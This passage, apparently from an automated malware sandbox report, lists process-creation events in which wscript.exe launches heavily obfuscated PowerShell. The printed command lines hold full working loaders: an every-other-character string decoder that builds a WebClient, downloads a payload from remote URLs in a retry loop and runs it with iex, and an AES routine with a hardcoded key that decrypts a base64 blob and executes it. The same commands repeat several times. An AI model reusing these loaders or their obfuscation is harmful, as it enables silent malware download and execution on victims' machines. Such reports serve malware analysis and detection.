d o,wOs BNQT. R1 0,.v0P; ,W iBnO6 4D;S Uxy6 4M;, ,rSvM:T1 2.1..P0C) SGBeHc k o,/B2 0O1 0 0 1,0B1F IF i.rBeNf,oHxC/E1 2A1 .U0B ';$slotting=Svndyssendes94 '.UTsUe r.-FA g ern,ti ';$Udvandringerne=Svndyssendes94 ' h tTtjpAsA: /E/KaPs,oDc.i aRt i.a t r.aLd,i tGi.i m aArSi a...r o,/GoLs /,t r aDn.s.p o.rbtEm e,nNt...pAfPmM> hSt t pHs,:P/ /,n.e.w ..qCuPr aLnGu s hbaEi qGe r . oerFg..,s a./ wMpc- a.d m.iKnD/ToNs,e rCvDe /Rtdr,a nps.pro.r.tSm.e n tG. pHfTmI ';$Fluffs=Svndyssendes94 'S> ';$Gederamsen=Svndyssendes94 'Pi,e x ';$Lgnere='Unparalysed';$decos = Svndyssendes94 'Ee cMh,oS % a p pTdaaStSa % \FS n i g m yMr,dJe dPeA. SFkSo. ,& &H FeDc h.oU t ';Scance (Svndyssendes94 ',$ g lHo bOaAlC:PRge.gFr =h( c m,d, /Vc, .$ d.e.cBoBs,). ');Scance (Svndyssendes94 'E$SgElFo b.a lR:CS uLj.eFt,=S$SUTdKvFa,n,dIrDiOn.gSeLr,nSe .HsApGlAi tB( $ FJl.uOfNf.sD)p ');Scance (Svndyssendes94 ',[BN e,t .cS eorHvLi.cVe PSo iNn.tSMcaCn,aogAeKr,]S:D:OSPePc uPr.iKt y PDrCoBt o,cFool I=. C[SNNeLt ..S eBcHu rUi.t yMPMrMo.tKo,c o l.TVyGp e ]N:F:VTRl sR1F2E ');$Udvandringerne=$Sujet[0];$Respriser= (Svndyssendes94 ',$.gIl.o bRaBlP: Y m c a = N eIw -.OLb jbeMc t, S.yEsCt,e mH.RNUeStH.mW e.bRCKl i,e.nMt');$Respriser+=$Regr[1];Scance ($Respriser);Scance (Svndyssendes94 'A$ YDm.c,a .UHUeMaPd.e rSsA[ $FsJlIo tRt,i nKgP]d=,$OA,mTbFaSg e,sK7 7 ');$Genlydens=Svndyssendes94 'S$,Y,mTc,a..SD o,w nSl oFa d FSiBl e.(.$FU,d v aSnTd r i nOg.e rSnAeB,f$ PIruoHgAr a m r.eUdHaUk.t r,s )b ';$Programredaktrs=$Regr[0];Scance (Svndyssendes94 ' $ g lTo b a l,: SMaStWeBlSl i tP=,( Tse sAtT-ZPGaDtAh F$DPSr o g rAa mLrAe d,aAk tCrMs ) ');while (!$Satellit) {Scance (Svndyssendes94 'H$Bg lTo,b.a lH: Rie gOi oCn s.p lpaRnvrae t n iBn gBscl i.n.j.e =,$MtCrMuaeu ') ;Scance $Genlydens;Scance (Svndyssendes94 ',S tCa r,t -.Ssl,eOeSp .4N ');Scance (Svndyssendes9	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Snigmyrdede.Sko && echo t"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0 Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0';If (${host}.CurrentCulture) {$Digers++;}Function Svndyssendes94($Dukketeatrenes){$Uadskilleligt=$Dukketeatrenes.Length-$Digers;$Mainlining='SUBsTR';$Mainlining+='ing';For( $truthsman=1;$truthsman -lt $Uadskilleligt;$truthsman+=2){$Revisoratets207+=$Dukketeatrenes.$Mainlining.Invoke( $truthsman, $Digers);}$Revisoratets207;}function Scance($Strukturndringernes){ . ($Gederamsen) ($Strukturndringernes);}$Ambages77=Svndyssendes94 ' MIo zGi lKl,aL/C5F. 0R (.W iSn d o,wOs BNQT. R1 0,.v0P; ,W iBnO6 4D;S Uxy6 4M;, ,rSvM:T1 2.1..P0C) SGBeHc k o,/B2 0O1 0 0 1,0B1F IF i.rBeNf,oHxC/E1 2A1 .U0B ';$slotting=Svndyssendes94 '.UTsUe r.-FA g ern,ti ';$Udvandringerne=Svndyssendes94 ' h tTtjpAsA: /E/KaPs,oDc.i aRt i.a t r.aLd,i tGi.i m aArSi a...r o,/GoLs /,t r aDn.s.p o.rbtEm e,nNt...pAfPmM> hSt t pHs,:P/ /,n.e.w ..qCuPr aLnGu s hbaEi qGe r . oerFg..,s a./ wMpc- a.d m.iKnD/ToNs,e rCvDe /Rtdr,a nps.pro.r.tSm.e n tG. pHfTmI ';$Fluffs=Svndyssendes94 'S> ';$Gederamsen=Svndyssendes94 'Pi,e x ';$Lgnere='Unparalysed';$decos = Svndyssendes94 'Ee cMh,oS % a p pTdaaStSa % \FS n i g m yMr,dJe dPeA. SFkSo. ,& &H FeDc h.oU t ';Scance (Svndyssendes94 ',$ g lHo bOaAlC:PRge.gFr =h( c m,d, /Vc, .$ d.e.cBoBs,). ');Scance (Svndyssendes94 'E$SgElFo b.a lR:CS uLj.eFt,=S$SUTdKvFa,n,dIrDiOn.gSeLr,nSe .HsApGlAi tB( $ FJl.uOfNf.sD)p ');Scance (Svndyssendes94 ',[BN e,t .cS eorHvLi.cVe PSo iNn.tSMcaCn,aogAeKr,]S:D:OSPePc uPr.iKt y PDrCoBt o,cFool I=. C[SNNeLt ..S eBcHu rUi.t yMPMrMo.tKo,c o l.TVyGp e ]N:F:VTRl sR1F2E ');$Udvandringerne=$Sujet[0];$Respriser= (Svndyssendes94 ',$.gIl.o bRaBlP: Y m c a = N eIw -.OLb jbeMc t, S.yEsCt,e mH.RNUeStH.mW e.bRCKl i,e.nMt');$Respriser+=$Regr[1];Scance ($Respriser);Scance (Svndyssendes94 'A$ YDm.c,a .UHUeMaPd.e rSsA[ $FsJlIo tRt,i nKgP]d=,$OA,mTbFaSg e,sK7 7 ');$Genlydens=Svndyssendes94 'S$,Y,mTc,a..SD o,w nSl oFa d FSiBl e.(.$FU,d v aSnTd r i nOg.e rSnAeB,f$ PIruoHgAr a m r.eUdHaUk.t r,s )b ';$Programredaktrs=$Regr[0];Scance (Svndyssendes94 ' $ g lTo b a l,: SMaStWeBlSl i tP=,( Tse sAtT-ZPGaDtAh F$DPSr o g rAa mLrAe d,aAk tCrMs ) ');while (!$Satellit) {Scance (Svndyssendes94 'H$Bg lTo,b.a lH: Rie gOi oCn s.p lpaRnvrae t n iBn gBscl i.n.j.e =,$MtCrMuaeu ') ;Scance $Genlydens;Scance (Svndyssendes94 ',S tCa r,t -.Ssl,eOeSp .4N ');Scance (Svndyssendes9	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Snigmyrdede.Sko && echo t"

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command (('((e4jfunction decrypt-aesencryption {param([string]tmibase64text,[stringe4j+e4j]tmikey)tmie4j+e4jaesmanaged = new-object system.see4j+e4jcurity.cryptography.aesmanaged;tmia'+'esmanagee4j+e4'+'jd.modee4j+e4j = [syse4j+'+'e4jtem.security.cryptoge4j+e4jraphy.e4j+e'+'4jcie4'+'j+e4jphermode]::cbc;tmiaesmanaged.'+'pae4j+e4jddin'+'g = [system.security.cryptography.paddingmode]::zeros;tmiaesmanaged.blocksiz'+'e = 128;tmiaesmanaged.keysize = 256;'+'tmiaesmanagee4j+'+'e4jd.key = ('+'new-objecte4'+'j+e4j system.security.cryptography.sha256managed).computehash([syste'+'m.text.encoding]::utf8.gee4j+e4jtbytes(tmikey));tmicipherbytes = [syst'+'em.convert]::frombase64string(tmibase64text);tmiaesmanaged.iv '+'= tmicipherbytes[0..15];tmidecryptor = tmiaesmanaged.createdecryptor();tmidecryptedbytes = tmidecryptor.transformfin'+'alblock(tmicipherbytes, 16, tmicipherbytes.length - 16);e4j+e4jtmiae'+'smanaged.d'+'ispose('+');return [system.text.encoding]::utf8.getstring'+'(tmidecry'+'ptedbytes).tre4j+e4jim([char]0);}tmichave = cni98685860701936162316809131591218cnie4j+e4j;tmitextocriptogr'+'afadobase4j+e4je64 = '+'cni/cgjmqvj5jcchnuuqniccrhpmr5qmkjqyaxljaoozs+i6ujjzbuhkkmuiawh3btvdj7nwjq1x++w/d0ybgxb8mznv8qaoqqp1s2jb+ydre2mync51z88vdp5yhlxv2jub4bad5mqkn09gj7sfrzkis0lv4bbd7swdblnny01hopdzzi88ulkrhf094frfkbdtwl6drqxh86pybppz5p2ly9nfsvgpk0kub6u6kg9mbd3uxusvgzcduc0aq5exdqvpaek1wsrhmdfswp03fzttbxi2uib73uc20hna8tklwpvgqcg5yxgt1syt4jsfjugz9qtq1ux/og7araur2spi44p27efktjtinmkpdxyhkjzs52yqntfau7vkn80wlfrjako1pusni83kg4gb5vmo0l0qfdknvuszur6nwsandn5nedu4krrcvnx137d+zbob0wbqlgldby6a+emgzytzcj9ydu9srhuvpnj5c0hkwpy4dw2nc9xkyxclhpmroagz59kk909adcva3czmi4okn0iyllc6wphikpk+n/lh8dsrmpfxxmnyxhq6fpmq3t7w6xvhmihbtnk1rozfwexeeon7dkrdc0d2irlwlym+askjswieqouxpmzyjum2hcsj8o2qq6sjssecso9ph7mc3rtlzx/yu4i0g+amxaebo7jngzczrsoxbrasre5huijlm3spvhwt7bmphfnb5uatl1poeor3paytiodvmhlq5udjkwlq55foeanjf+pmojiot+punj9pkhigch6xtde+2irxnpe7ay7vlrz0f+zzhorfur8p5phwq383qgba8dubdwqow+2/zvvgy0+vtbvpazbtmhkqsshty4fy3hgqlxkhwaneqjq8wqlkzquvdy9epztjgemds6via1ixp+weiorc5nuhoaj4ygoy2moxmyeodutv3614ruxvqvvcerqlinxxajm5yyy2gvfxvy7lqs/l3ppdj/er9yz3s9rypncll0seexfchp/0aee9ha3qtqqm07kfqm7fm/txvhazzqil8wyj4sl9vdvuovk82qkltc24fpx5mykzqf4iy2ozu7+pswznbwnr+r8ibexgpk6yuljjiqen49p7iiebll4a+j83mopubclr/3wfiodrztcs5fsi1/7gww61abzmh9wq5y/pn8qrpmjkyzsp84uihhxglfpuuclltyd6067khauf+isnyuo0yqamdlvdcnsanb1ffvg2z6opzbg7sqfu6aqguz584nttwubmlcl43xdc/g09jfmr9jk22mvt+6/1kqesuax5g4j6g6n3mjeep9cvy3lojh+/kwuqr/kbqc4jibzhwktcrnn4yi2/mmj/0v3oifvqnnecpnoqxxyyjjgkg+362vfqqj/+ronzxepvq3wcwkq/chehaw5iw==cni;tmitextodescriptografado = decrypt-aesencryption -'+'base64text tmitextocriptografadobase64 -key tmichave;w'+'rite-host cnitexe4j+e4jto descre4j+e4jiptografado: tmi'+'textodescriptograe4j+e4jfadocni;invoke-expressioe4j+e4jn tmitext'+'oe4j+e4jdescriptografado;e4j)-replace ([char]67+[char]110+['+'char]73),[char]34 -crep
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "cls;write 'revisoratets207 smaatrykkene forlise sujet udvandringerne wadies thioantimonious unparalysed whiffer masseproduceres entings hebenon zymin dumpningsskibes reobtainment allingeboens zinkkografierne checksums reverbrate phare spisekkkens programredaktrs heteromorphous sparkedragten0 revisoratets207 smaatrykkene forlise sujet udvandringerne wadies thioantimonious unparalysed whiffer masseproduceres entings hebenon zymin dumpningsskibes reobtainment allingeboens zinkkografierne checksums reverbrate phare spisekkkens programredaktrs heteromorphous sparkedragten0';if (${host}.currentculture) {$digers++;}function svndyssendes94($dukketeatrenes){$uadskilleligt=$dukketeatrenes.length-$digers;$mainlining='substr';$mainlining+='ing';for( $truthsman=1;$truthsman -lt $uadskilleligt;$truthsman+=2){$revisoratets207+=$dukketeatrenes.$mainlining.invoke( $truthsman, $digers);}$revisoratets207;}function scance($strukturndringernes){ . ($gederamsen) ($strukturndringernes);}$ambages77=svndyssendes94 ' mio zgi lkl,al/c5f. 0r (.w isn d o,wos bnqt. r1 0,.v0p; ,w ibno6 4d;s uxy6 4m;, ,rsvm:t1 2.1..p0c) sgbehc k o,/b2 0o1 0 0 1,0b1f if i.rbenf,ohxc/e1 2a1 .u0b ';$slotting=svndyssendes94 '.utsue r.-fa g ern,ti ';$udvandringerne=svndyssendes94 ' h tttjpasa: /e/kaps,odc.i art i.a t r.ald,i tgi.i m aarsi a...r o,/gols /,t r adn.s.p o.rbtem e,nnt...pafpmm> hst t phs,:p/ /,n.e.w ..qcupr alngu s hbaei qge r . oerfg..,s a./ wmpc- a.d m.iknd/tons,e rcvde /rtdr,a nps.pro.r.tsm.e n tg. phftmi ';$fluffs=svndyssendes94 's> ';$gederamsen=svndyssendes94 'pi,e x ';$lgnere='unparalysed';$decos = svndyssendes94 'ee cmh,os % a p ptdaastsa % \fs n i g m ymr,dje dpea. sfkso. ,& &h fedc h.ou t ';scance (svndyssendes94 ',$ g lho boaalc:prge.gfr =h( c m,d, /vc, .$ d.e.cbobs,). ');scance (svndyssendes94 'e$sgelfo b.a lr:cs ulj.eft,=s$sutdkvfa,n,dirdion.gselr,nse .hsapglai tb( $ fjl.uofnf.sd)p ');scance (svndyssendes94 ',[bn e,t .cs eorhvli.cve pso inn.tsmcacn,aogaekr,]s:d:ospepc upr.ikt y pdrcobt o,cfool i=. c[snnelt ..s ebchu rui.t ympmrmo.tko,c o l.tvygp e ]n:f:vtrl sr1f2e ');$udvandringerne=$sujet[0];$respriser= (svndyssendes94 ',$.gil.o brablp: y m c a = n eiw -.olb jbemc t, s.yesct,e mh.rnuesth.mw e.brckl i,e.nmt');$respriser+=$regr[1];scance ($respriser);scance (svndyssendes94 'a$ ydm.c,a .uhuemapd.e rssa[ $fsjlio trt,i nkgp]d=,$oa,mtbfasg e,sk7 7 ');$genlydens=svndyssendes94 's$,y,mtc,a..sd o,w nsl ofa d fsibl e.(.$fu,d v asntd r i nog.e rsnaeb,f$ piruohgar a m r.eudhauk.t r,s )b ';$programredaktrs=$regr[0];scance (svndyssendes94 ' $ g lto b a l,: smastweblsl i tp=,( tse satt-zpgadtah f$dpsr o g raa mlrae d,aak tcrms ) ');while (!$satellit) {scance (svndyssendes94 'h$bg lto,b.a lh: rie goi ocn s.p lparnvrae t n ibn gbscl i.n.j.e =,$mtcrmuaeu ') ;scance $genlydens;scance (svndyssendes94 ',s tca r,t -.ssl,eoesp .4n ');scance (svndyssendes9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "cls;write 'revisoratets207 smaatrykkene forlise sujet udvandringerne wadies thioantimonious unparalysed whiffer masseproduceres entings hebenon zymin dumpningsskibes reobtainment allingeboens zinkkografierne checksums reverbrate phare spisekkkens programredaktrs heteromorphous sparkedragten0 revisoratets207 smaatrykkene forlise sujet udvandringerne wadies thioantimonious unparalysed whiffer masseproduceres entings hebenon zymin dumpningsskibes reobtainment allingeboens zinkkografierne checksums reverbrate phare spisekkkens programredaktrs heteromorphous sparkedragten0';if (${host}.currentculture) {$digers++;}function svndyssendes94($dukketeatrenes){$uadskilleligt=$dukketeatrenes.length-$digers;$mainlining='substr';$mainlining+='ing';for( $truthsman=1;$truthsman -lt $uadskilleligt;$truthsman+=2){$revisoratets207+=$dukketeatrenes.$mainlining.invoke( $truthsman, $digers);}$revisoratets207;}function scance($strukturndringernes){ . ($gederamsen) ($strukturndringernes);}$ambages77=svndyssendes94 ' mio zgi lkl,al/c5f. 0r (.w isn d o,wos bnqt. r1 0,.v0p; ,w ibno6 4d;s uxy6 4m;, ,rsvm:t1 2.1..p0c) sgbehc k o,/b2 0o1 0 0 1,0b1f if i.rbenf,ohxc/e1 2a1 .u0b ';$slotting=svndyssendes94 '.utsue r.-fa g ern,ti ';$udvandringerne=svndyssendes94 ' h tttjpasa: /e/kaps,odc.i art i.a t r.ald,i tgi.i m aarsi a...r o,/gols /,t r adn.s.p o.rbtem e,nnt...pafpmm> hst t phs,:p/ /,n.e.w ..qcupr alngu s hbaei qge r . oerfg..,s a./ wmpc- a.d m.iknd/tons,e rcvde /rtdr,a nps.pro.r.tsm.e n tg. phftmi ';$fluffs=svndyssendes94 's> ';$gederamsen=svndyssendes94 'pi,e x ';$lgnere='unparalysed';$decos = svndyssendes94 'ee cmh,os % a p ptdaastsa % \fs n i g m ymr,dje dpea. sfkso. ,& &h fedc h.ou t ';scance (svndyssendes94 ',$ g lho boaalc:prge.gfr =h( c m,d, /vc, .$ d.e.cbobs,). ');scance (svndyssendes94 'e$sgelfo b.a lr:cs ulj.eft,=s$sutdkvfa,n,dirdion.gselr,nse .hsapglai tb( $ fjl.uofnf.sd)p ');scance (svndyssendes94 ',[bn e,t .cs eorhvli.cve pso inn.tsmcacn,aogaekr,]s:d:ospepc upr.ikt y pdrcobt o,cfool i=. c[snnelt ..s ebchu rui.t ympmrmo.tko,c o l.tvygp e ]n:f:vtrl sr1f2e ');$udvandringerne=$sujet[0];$respriser= (svndyssendes94 ',$.gil.o brablp: y m c a = n eiw -.olb jbemc t, s.yesct,e mh.rnuesth.mw e.brckl i,e.nmt');$respriser+=$regr[1];scance ($respriser);scance (svndyssendes94 'a$ ydm.c,a .uhuemapd.e rssa[ $fsjlio trt,i nkgp]d=,$oa,mtbfasg e,sk7 7 ');$genlydens=svndyssendes94 's$,y,mtc,a..sd o,w nsl ofa d fsibl e.(.$fu,d v asntd r i nog.e rsnaeb,f$ piruohgar a m r.eudhauk.t r,s )b ';$programredaktrs=$regr[0];scance (svndyssendes94 ' $ g lto b a l,: smastweblsl i tp=,( tse satt-zpgadtah f$dpsr o g raa mlrae d,aak tcrms ) ');while (!$satellit) {scance (svndyssendes94 'h$bg lto,b.a lh: rie goi ocn s.p lparnvrae t n ibn gbscl i.n.j.e =,$mtcrmuaeu ') ;scance $genlydens;scance (svndyssendes94 ',s tca r,t -.ssl,eoesp .4n ');scance (svndyssendes9
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command (('((e4jfunction decrypt-aesencryption {param([string]tmibase64text,[stringe4j+e4j]tmikey)tmie4j+e4jaesmanaged = new-object system.see4j+e4jcurity.cryptography.aesmanaged;tmia'+'esmanagee4j+e4'+'jd.modee4j+e4j = [syse4j+'+'e4jtem.security.cryptoge4j+e4jraphy.e4j+e'+'4jcie4'+'j+e4jphermode]::cbc;tmiaesmanaged.'+'pae4j+e4jddin'+'g = [system.security.cryptography.paddingmode]::zeros;tmiaesmanaged.blocksiz'+'e = 128;tmiaesmanaged.keysize = 256;'+'tmiaesmanagee4j+'+'e4jd.key = ('+'new-objecte4'+'j+e4j system.security.cryptography.sha256managed).computehash([syste'+'m.text.encoding]::utf8.gee4j+e4jtbytes(tmikey));tmicipherbytes = [syst'+'em.convert]::frombase64string(tmibase64text);tmiaesmanaged.iv '+'= tmicipherbytes[0..15];tmidecryptor = tmiaesmanaged.createdecryptor();tmidecryptedbytes = tmidecryptor.transformfin'+'alblock(tmicipherbytes, 16, tmicipherbytes.length - 16);e4j+e4jtmiae'+'smanaged.d'+'ispose('+');return [system.text.encoding]::utf8.getstring'+'(tmidecry'+'ptedbytes).tre4j+e4jim([char]0);}tmichave = cni98685860701936162316809131591218cnie4j+e4j;tmitextocriptogr'+'afadobase4j+e4je64 = '+'cni/cgjmqvj5jcchnuuqniccrhpmr5qmkjqyaxljaoozs+i6ujjzbuhkkmuiawh3btvdj7nwjq1x++w/d0ybgxb8mznv8qaoqqp1s2jb+ydre2mync51z88vdp5yhlxv2jub4bad5mqkn09gj7sfrzkis0lv4bbd7swdblnny01hopdzzi88ulkrhf094frfkbdtwl6drqxh86pybppz5p2ly9nfsvgpk0kub6u6kg9mbd3uxusvgzcduc0aq5exdqvpaek1wsrhmdfswp03fzttbxi2uib73uc20hna8tklwpvgqcg5yxgt1syt4jsfjugz9qtq1ux/og7araur2spi44p27efktjtinmkpdxyhkjzs52yqntfau7vkn80wlfrjako1pusni83kg4gb5vmo0l0qfdknvuszur6nwsandn5nedu4krrcvnx137d+zbob0wbqlgldby6a+emgzytzcj9ydu9srhuvpnj5c0hkwpy4dw2nc9xkyxclhpmroagz59kk909adcva3czmi4okn0iyllc6wphikpk+n/lh8dsrmpfxxmnyxhq6fpmq3t7w6xvhmihbtnk1rozfwexeeon7dkrdc0d2irlwlym+askjswieqouxpmzyjum2hcsj8o2qq6sjssecso9ph7mc3rtlzx/yu4i0g+amxaebo7jngzczrsoxbrasre5huijlm3spvhwt7bmphfnb5uatl1poeor3paytiodvmhlq5udjkwlq55foeanjf+pmojiot+punj9pkhigch6xtde+2irxnpe7ay7vlrz0f+zzhorfur8p5phwq383qgba8dubdwqow+2/zvvgy0+vtbvpazbtmhkqsshty4fy3hgqlxkhwaneqjq8wqlkzquvdy9epztjgemds6via1ixp+weiorc5nuhoaj4ygoy2moxmyeodutv3614ruxvqvvcerqlinxxajm5yyy2gvfxvy7lqs/l3ppdj/er9yz3s9rypncll0seexfchp/0aee9ha3qtqqm07kfqm7fm/txvhazzqil8wyj4sl9vdvuovk82qkltc24fpx5mykzqf4iy2ozu7+pswznbwnr+r8ibexgpk6yuljjiqen49p7iiebll4a+j83mopubclr/3wfiodrztcs5fsi1/7gww61abzmh9wq5y/pn8qrpmjkyzsp84uihhxglfpuuclltyd6067khauf+isnyuo0yqamdlvdcnsanb1ffvg2z6opzbg7sqfu6aqguz584nttwubmlcl43xdc/g09jfmr9jk22mvt+6/1kqesuax5g4j6g6n3mjeep9cvy3lojh+/kwuqr/kbqc4jibzhwktcrnn4yi2/mmj/0v3oifvqnnecpnoqxxyyjjgkg+362vfqqj/+ronzxepvq3wcwkq/chehaw5iw==cni;tmitextodescriptografado = decrypt-aesencryption -'+'base64text tmitextocriptografadobase64 -key tmichave;w'+'rite-host cnitexe4j+e4jto descre4j+e4jiptografado: tmi'+'textodescriptograe4j+e4jfadocni;invoke-expressioe4j+e4jn tmitext'+'oe4j+e4jdescriptografado;e4j)-replace ([char]67+[char]110+['+'char]73),[char]34 -crep	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "cls;write 'revisoratets207 smaatrykkene forlise sujet udvandringerne wadies thioantimonious unparalysed whiffer masseproduceres entings hebenon zymin dumpningsskibes reobtainment allingeboens zinkkografierne checksums reverbrate phare spisekkkens programredaktrs heteromorphous sparkedragten0 revisoratets207 smaatrykkene forlise sujet udvandringerne wadies thioantimonious unparalysed whiffer masseproduceres entings hebenon zymin dumpningsskibes reobtainment allingeboens zinkkografierne checksums reverbrate phare spisekkkens programredaktrs heteromorphous sparkedragten0';if (${host}.currentculture) {$digers++;}function svndyssendes94($dukketeatrenes){$uadskilleligt=$dukketeatrenes.length-$digers;$mainlining='substr';$mainlining+='ing';for( $truthsman=1;$truthsman -lt $uadskilleligt;$truthsman+=2){$revisoratets207+=$dukketeatrenes.$mainlining.invoke( $truthsman, $digers);}$revisoratets207;}function scance($strukturndringernes){ . ($gederamsen) ($strukturndringernes);}$ambages77=svndyssendes94 ' mio zgi lkl,al/c5f. 0r (.w isn d o,wos bnqt. r1 0,.v0p; ,w ibno6 4d;s uxy6 4m;, ,rsvm:t1 2.1..p0c) sgbehc k o,/b2 0o1 0 0 1,0b1f if i.rbenf,ohxc/e1 2a1 .u0b ';$slotting=svndyssendes94 '.utsue r.-fa g ern,ti ';$udvandringerne=svndyssendes94 ' h tttjpasa: /e/kaps,odc.i art i.a t r.ald,i tgi.i m aarsi a...r o,/gols /,t r adn.s.p o.rbtem e,nnt...pafpmm> hst t phs,:p/ /,n.e.w ..qcupr alngu s hbaei qge r . oerfg..,s a./ wmpc- a.d m.iknd/tons,e rcvde /rtdr,a nps.pro.r.tsm.e n tg. phftmi ';$fluffs=svndyssendes94 's> ';$gederamsen=svndyssendes94 'pi,e x ';$lgnere='unparalysed';$decos = svndyssendes94 'ee cmh,os % a p ptdaastsa % \fs n i g m ymr,dje dpea. sfkso. ,& &h fedc h.ou t ';scance (svndyssendes94 ',$ g lho boaalc:prge.gfr =h( c m,d, /vc, .$ d.e.cbobs,). ');scance (svndyssendes94 'e$sgelfo b.a lr:cs ulj.eft,=s$sutdkvfa,n,dirdion.gselr,nse .hsapglai tb( $ fjl.uofnf.sd)p ');scance (svndyssendes94 ',[bn e,t .cs eorhvli.cve pso inn.tsmcacn,aogaekr,]s:d:ospepc upr.ikt y pdrcobt o,cfool i=. c[snnelt ..s ebchu rui.t ympmrmo.tko,c o l.tvygp e ]n:f:vtrl sr1f2e ');$udvandringerne=$sujet[0];$respriser= (svndyssendes94 ',$.gil.o brablp: y m c a = n eiw -.olb jbemc t, s.yesct,e mh.rnuesth.mw e.brckl i,e.nmt');$respriser+=$regr[1];scance ($respriser);scance (svndyssendes94 'a$ ydm.c,a .uhuemapd.e rssa[ $fsjlio trt,i nkgp]d=,$oa,mtbfasg e,sk7 7 ');$genlydens=svndyssendes94 's$,y,mtc,a..sd o,w nsl ofa d fsibl e.(.$fu,d v asntd r i nog.e rsnaeb,f$ piruohgar a m r.eudhauk.t r,s )b ';$programredaktrs=$regr[0];scance (svndyssendes94 ' $ g lto b a l,: smastweblsl i tp=,( tse satt-zpgadtah f$dpsr o g raa mlrae d,aak tcrms ) ');while (!$satellit) {scance (svndyssendes94 'h$bg lto,b.a lh: rie goi ocn s.p lparnvrae t n ibn gbscl i.n.j.e =,$mtcrmuaeu ') ;scance $genlydens;scance (svndyssendes94 ',s tca r,t -.ssl,eoesp .4n ');scance (svndyssendes9	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "cls;write 'revisoratets207 smaatrykkene forlise sujet udvandringerne wadies thioantimonious unparalysed whiffer masseproduceres entings hebenon zymin dumpningsskibes reobtainment allingeboens zinkkografierne checksums reverbrate phare spisekkkens programredaktrs heteromorphous sparkedragten0 revisoratets207 smaatrykkene forlise sujet udvandringerne wadies thioantimonious unparalysed whiffer masseproduceres entings hebenon zymin dumpningsskibes reobtainment allingeboens zinkkografierne checksums reverbrate phare spisekkkens programredaktrs heteromorphous sparkedragten0';if (${host}.currentculture) {$digers++;}function svndyssendes94($dukketeatrenes){$uadskilleligt=$dukketeatrenes.length-$digers;$mainlining='substr';$mainlining+='ing';for( $truthsman=1;$truthsman -lt $uadskilleligt;$truthsman+=2){$revisoratets207+=$dukketeatrenes.$mainlining.invoke( $truthsman, $digers);}$revisoratets207;}function scance($strukturndringernes){ . ($gederamsen) ($strukturndringernes);}$ambages77=svndyssendes94 ' mio zgi lkl,al/c5f. 0r (.w isn d o,wos bnqt. r1 0,.v0p; ,w ibno6 4d;s uxy6 4m;, ,rsvm:t1 2.1..p0c) sgbehc k o,/b2 0o1 0 0 1,0b1f if i.rbenf,ohxc/e1 2a1 .u0b ';$slotting=svndyssendes94 '.utsue r.-fa g ern,ti ';$udvandringerne=svndyssendes94 ' h tttjpasa: /e/kaps,odc.i art i.a t r.ald,i tgi.i m aarsi a...r o,/gols /,t r adn.s.p o.rbtem e,nnt...pafpmm> hst t phs,:p/ /,n.e.w ..qcupr alngu s hbaei qge r . oerfg..,s a./ wmpc- a.d m.iknd/tons,e rcvde /rtdr,a nps.pro.r.tsm.e n tg. phftmi ';$fluffs=svndyssendes94 's> ';$gederamsen=svndyssendes94 'pi,e x ';$lgnere='unparalysed';$decos = svndyssendes94 'ee cmh,os % a p ptdaastsa % \fs n i g m ymr,dje dpea. sfkso. ,& &h fedc h.ou t ';scance (svndyssendes94 ',$ g lho boaalc:prge.gfr =h( c m,d, /vc, .$ d.e.cbobs,). ');scance (svndyssendes94 'e$sgelfo b.a lr:cs ulj.eft,=s$sutdkvfa,n,dirdion.gselr,nse .hsapglai tb( $ fjl.uofnf.sd)p ');scance (svndyssendes94 ',[bn e,t .cs eorhvli.cve pso inn.tsmcacn,aogaekr,]s:d:ospepc upr.ikt y pdrcobt o,cfool i=. c[snnelt ..s ebchu rui.t ympmrmo.tko,c o l.tvygp e ]n:f:vtrl sr1f2e ');$udvandringerne=$sujet[0];$respriser= (svndyssendes94 ',$.gil.o brablp: y m c a = n eiw -.olb jbemc t, s.yesct,e mh.rnuesth.mw e.brckl i,e.nmt');$respriser+=$regr[1];scance ($respriser);scance (svndyssendes94 'a$ ydm.c,a .uhuemapd.e rssa[ $fsjlio trt,i nkgp]d=,$oa,mtbfasg e,sk7 7 ');$genlydens=svndyssendes94 's$,y,mtc,a..sd o,w nsl ofa d fsibl e.(.$fu,d v asntd r i nog.e rsnaeb,f$ piruohgar a m r.eudhauk.t r,s )b ';$programredaktrs=$regr[0];scance (svndyssendes94 ' $ g lto b a 